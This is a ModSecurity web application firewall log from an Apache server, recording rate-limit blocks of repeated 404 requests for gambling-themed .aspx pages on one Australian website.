[Tue Feb 03 02:23:55.950450 2026] [:error] [pid 57081:tid 57115] [client 65.108.78.33:54120] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYDru2vouJ2Jkm6HfBh65QAAAwA"]
[Tue Feb 03 02:23:58.675101 2026] [:error] [pid 63153:tid 63163] [client 65.108.78.33:54126] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aYDrvnC9GXHnmLkdgdnxdgAAAMI"]
[Tue Feb 03 03:18:19.504502 2026] [:error] [pid 57081:tid 57132] [client 88.134.110.36:45364] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/168%20slot.aspx"] [unique_id "aYD4e2vouJ2Jkm6HfBiEMwAAAxE"]
[Tue Feb 03 03:18:23.775864 2026] [:error] [pid 57081:tid 57120] [client 88.134.110.36:21687] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/24th%20slot.aspx"] [unique_id "aYD4f2vouJ2Jkm6HfBiEOQAAAwU"]
[Tue Feb 03 03:18:27.330287 2026] [:error] [pid 63034:tid 63138] [client 88.134.110.36:65455] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2xl%20slot.aspx"] [unique_id "aYD4g-KXlgw75_wfbHooHQAAAJQ"]
[Tue Feb 03 03:18:30.666483 2026] [:error] [pid 57080:tid 57089] [client 88.134.110.36:46184] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/789%20slot.aspx"] [unique_id "aYD4ho9Utn0ZlfnF10OZZgAAAsI"]
[Tue Feb 03 03:18:34.002311 2026] [:error] [pid 57080:tid 57110] [client 88.134.110.36:40432] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/888%20slot.aspx"] [unique_id "aYD4io9Utn0ZlfnF10OZbAAAAtc"]
[Tue Feb 03 03:18:37.297898 2026] [:error] [pid 57021:tid 57038] [client 88.134.110.36:28041] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/all%20slot.aspx"] [unique_id "aYD4jf7AEpx7VcmYK3E8xQAAAk0"]
[Tue Feb 03 03:18:40.376722 2026] [:error] [pid 33612:tid 33632] [client 88.134.110.36:1298] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "aYD4kMtFn80qQEmo5QpEsgAAARI"]
[Tue Feb 03 03:18:43.510462 2026] [:error] [pid 57022:tid 57076] [client 88.134.110.36:38885] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "aYD4kxnEgLMzfcurxfmJQwAAApg"]
[Tue Feb 03 03:18:46.854352 2026] [:error] [pid 33612:tid 33614] [client 88.134.110.36:35844] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYD4lstFn80qQEmo5QpEuAAAAQA"]
[Tue Feb 03 03:18:49.768250 2026] [:error] [pid 63032:tid 63087] [client 88.134.110.36:57113] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYD4mXyEQ1PkpebvdRgzvAAAABg"]
[Tue Feb 03 03:18:52.714602 2026] [:error] [pid 46008:tid 46034] [client 88.134.110.36:34205] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aYD4nCRa52iYn7SlSMn4MQAAAVc"]
[Tue Feb 03 03:18:55.501453 2026] [:error] [pid 57021:tid 57047] [client 88.134.110.36:46827] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aYD4n_7AEpx7VcmYK3E81wAAAlY"]
[Tue Feb 03 03:18:58.297057 2026] [:error] [pid 63153:tid 63180] [client 88.134.110.36:4668] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYD4onC9GXHnmLkdgdn8uQAAANM"]
[Tue Feb 03 03:19:00.990012 2026] [:error] [pid 57081:tid 57138] [client 88.134.110.36:31504] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYD4pGvouJ2Jkm6HfBiEUgAAAxc"]
[Tue Feb 03 03:19:03.684650 2026] [:error] [pid 57022:tid 57069] [client 88.134.110.36:55051] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYD4pxnEgLMzfcurxfmJWAAAApE"]
[Tue Feb 03 03:19:07.412634 2026] [:error] [pid 56989:tid 57013] [client 88.134.110.36:15626] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYD4q0p44HnChN-GZlhuhAAAAhY"]
[Tue Feb 03 03:19:10.333058 2026] [:error] [pid 33612:tid 33638] [client 88.134.110.36:38824] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYD4rstFn80qQEmo5QpE1wAAARg"]
[Tue Feb 03 03:19:13.137636 2026] [:error] [pid 57081:tid 57139] [client 88.134.110.36:58133] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYD4sWvouJ2Jkm6HfBiEYQAAAxg"]
[Tue Feb 03 03:19:15.784126 2026] [:error] [pid 63034:tid 63129] [client 88.134.110.36:40028] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYD4s-KXlgw75_wfbHooSAAAAIs"]
[Tue Feb 03 03:19:25.989948 2026] [:error] [pid 33612:tid 33628] [client 88.134.110.36:24639] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYD4vctFn80qQEmo5QpE6gAAAQ4"]
[Tue Feb 03 03:19:28.880625 2026] [:error] [pid 63153:tid 63182] [client 88.134.110.36:63229] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYD4wHC9GXHnmLkdgdn81gAAANU"]
[Tue Feb 03 03:19:31.571462 2026] [:error] [pid 57080:tid 57103] [client 88.134.110.36:28288] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYD4w49Utn0ZlfnF10OZnAAAAtA"]
[Tue Feb 03 03:19:34.310381 2026] [:error] [pid 46008:tid 46028] [client 88.134.110.36:33224] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYD4xiRa52iYn7SlSMn4cQAAAVE"]
[Tue Feb 03 03:19:36.989608 2026] [:error] [pid 33612:tid 33638] [client 88.134.110.36:12548] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYD4yMtFn80qQEmo5QpE8QAAARg"]
[Tue Feb 03 03:19:39.563613 2026] [:error] [pid 33612:tid 33634] [client 88.134.110.36:10046] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aYD4y8tFn80qQEmo5QpE9gAAARQ"]
[Tue Feb 03 03:19:42.288648 2026] [:error] [pid 57080:tid 57096] [client 88.134.110.36:61128] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aYD4zo9Utn0ZlfnF10OZqQAAAsk"]
[Tue Feb 03 03:19:45.650419 2026] [:error] [pid 56989:tid 57012] [client 88.134.110.36:31652] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aYD40Up44HnChN-GZlhuuAAAAhU"]
[Tue Feb 03 03:19:48.533394 2026] [:error] [pid 56989:tid 57008] [client 88.134.110.36:26858] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aYD41Ep44HnChN-GZlhuvgAAAhE"]
[Tue Feb 03 03:19:53.103300 2026] [:error] [pid 63153:tid 63169] [client 88.134.110.36:18399] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "aYD42XC9GXHnmLkdgdn85QAAAMg"]
[Tue Feb 03 03:19:55.836329 2026] [:error] [pid 63153:tid 63185] [client 88.134.110.36:18556] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "aYD423C9GXHnmLkdgdn86gAAANg"]
[Tue Feb 03 03:19:58.525567 2026] [:error] [pid 46008:tid 46022] [client 88.134.110.36:38383] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aYD43iRa52iYn7SlSMn4hwAAAUs"]
[Tue Feb 03 03:20:01.094429 2026] [:error] [pid 57022:tid 57074] [client 88.134.110.36:33908] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aYD44RnEgLMzfcurxfmJfwAAApY"]
[Tue Feb 03 03:20:03.811682 2026] [:error] [pid 57021:tid 57039] [client 88.134.110.36:63163] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYD44_7AEpx7VcmYK3E9EAAAAk4"]
[Tue Feb 03 03:20:06.862668 2026] [:error] [pid 63153:tid 63165] [client 88.134.110.36:44982] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYD45nC9GXHnmLkdgdn8-AAAAMQ"]
[Tue Feb 03 03:20:09.593117 2026] [:error] [pid 63034:tid 63136] [client 88.134.110.36:12812] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYD46eKXlgw75_wfbHooYwAAAJI"]
[Tue Feb 03 03:20:12.284265 2026] [:error] [pid 56989:tid 57004] [client 88.134.110.36:64271] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aYD47Ep44HnChN-GZlhu3AAAAg0"]
[Tue Feb 03 03:20:14.794244 2026] [:error] [pid 46008:tid 46010] [client 88.134.110.36:30801] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aYD47iRa52iYn7SlSMn4kAAAAUA"]
[Tue Feb 03 03:20:17.343490 2026] [:error] [pid 57081:tid 57124] [client 88.134.110.36:41642] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYD48WvouJ2Jkm6HfBiEhQAAAwk"]
[Tue Feb 03 03:20:20.172425 2026] [:error] [pid 63153:tid 63163] [client 88.134.110.36:44751] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYD49HC9GXHnmLkdgdn9CQAAAMI"]
[Tue Feb 03 03:20:22.882615 2026] [:error] [pid 57022:tid 57063] [client 88.134.110.36:39224] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYD49hnEgLMzfcurxfmJiQAAAos"]
[Tue Feb 03 03:20:45.134718 2026] [:error] [pid 46008:tid 46027] [client 88.134.110.36:7939] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aYD5DSRa52iYn7SlSMn4vQAAAVA"]
[Tue Feb 03 03:20:47.794081 2026] [:error] [pid 57081:tid 57128] [client 88.134.110.36:65132] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYD5D2vouJ2Jkm6HfBiEmgAAAw0"]
[Tue Feb 03 03:20:50.628178 2026] [:error] [pid 63153:tid 63172] [client 88.134.110.36:4600] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aYD5EnC9GXHnmLkdgdn9KAAAAMs"]
[Tue Feb 03 03:20:53.393024 2026] [:error] [pid 63032:tid 63071] [client 88.134.110.36:8635] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYD5FXyEQ1PkpebvdRg0GAAAAAg"]
[Tue Feb 03 03:20:56.215093 2026] [:error] [pid 46008:tid 46016] [client 88.134.110.36:56765] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYD5GCRa52iYn7SlSMn4xAAAAUY"]
[Tue Feb 03 03:20:59.002325 2026] [:error] [pid 63032:tid 63065] [client 88.134.110.36:5147] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aYD5G3yEQ1PkpebvdRg0IgAAAAI"]
[Tue Feb 03 03:21:01.796845 2026] [:error] [pid 33612:tid 33632] [client 88.134.110.36:31577] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYD5HctFn80qQEmo5QpFNAAAARI"]
[Tue Feb 03 03:21:04.598194 2026] [:error] [pid 57022:tid 57058] [client 88.134.110.36:37421] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aYD5IBnEgLMzfcurxfmJoAAAAoY"]
[Tue Feb 03 03:21:07.241323 2026] [:error] [pid 56989:tid 57007] [client 88.134.110.36:28074] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aYD5I0p44HnChN-GZlhvBQAAAhA"]
[Tue Feb 03 03:21:10.019975 2026] [:error] [pid 46008:tid 46028] [client 88.134.110.36:24282] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYD5JiRa52iYn7SlSMn4ywAAAVE"]
[Tue Feb 03 03:21:12.806132 2026] [:error] [pid 63032:tid 63077] [client 88.134.110.36:42760] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYD5KHyEQ1PkpebvdRg0LwAAAA4"]
[Tue Feb 03 03:21:15.627708 2026] [:error] [pid 57022:tid 57062] [client 88.134.110.36:31163] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aYD5KxnEgLMzfcurxfmJqQAAAoo"]
